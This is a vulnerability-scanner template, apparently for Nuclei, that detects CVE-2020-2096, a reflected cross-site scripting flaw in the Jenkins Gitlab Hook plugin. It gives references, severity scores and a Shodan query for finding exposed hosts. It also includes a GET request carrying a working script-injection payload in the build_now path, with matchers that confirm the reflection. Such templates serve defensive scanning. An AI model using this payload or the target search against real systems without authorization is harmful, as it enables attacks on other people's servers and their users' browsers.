53 lines
2.0 KiB
YAML
53 lines
2.0 KiB
YAML
id: CVE-2020-2096
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info:
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name: Jenkins Gitlab Hook <=1.4.2 - Cross-Site Scripting
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author: madrobot
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severity: medium
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description: Jenkins Gitlab Hook 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected cross-site scripting vulnerability.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
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remediation: |
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Upgrade to the latest version of Jenkins Gitlab Hook plugin (>=1.4.3) to mitigate this vulnerability.
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reference:
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- https://jenkins.io/security/advisory/2020-01-15/#SECURITY-1683
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- http://www.openwall.com/lists/oss-security/2020/01/15/1
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- http://packetstormsecurity.com/files/155967/Jenkins-Gitlab-Hook-1.4.2-Cross-Site-Scripting.html
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- https://nvd.nist.gov/vuln/detail/CVE-2020-2096
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2020-2096
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cwe-id: CWE-79
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epss-score: 0.96965
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epss-percentile: 0.99665
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cpe: cpe:2.3:a:jenkins:gitlab_hook:*:*:*:*:*:jenkins:*:*
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metadata:
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max-request: 1
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vendor: jenkins
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product: gitlab_hook
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framework: jenkins
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shodan-query: http.title:"GitLab"
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tags: jenkins,xss,gitlab,plugin,packetstorm,cve,cve2020
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http:
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- method: GET
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path:
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- "{{BaseURL}}/gitlab/build_now%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "</script><script>alert(document.domain)</script>"
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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# digest: 490a0046304402201103fd8fa6cfe3dafe3bd86aaa652e0ad3011865c0de308b7966b618b0f633f8022013f511ff9a5b2c17007575d7b65aed06f38ca539b1da567ceff23220a8468775:922c64590222798bb761d5b6d8e72950 |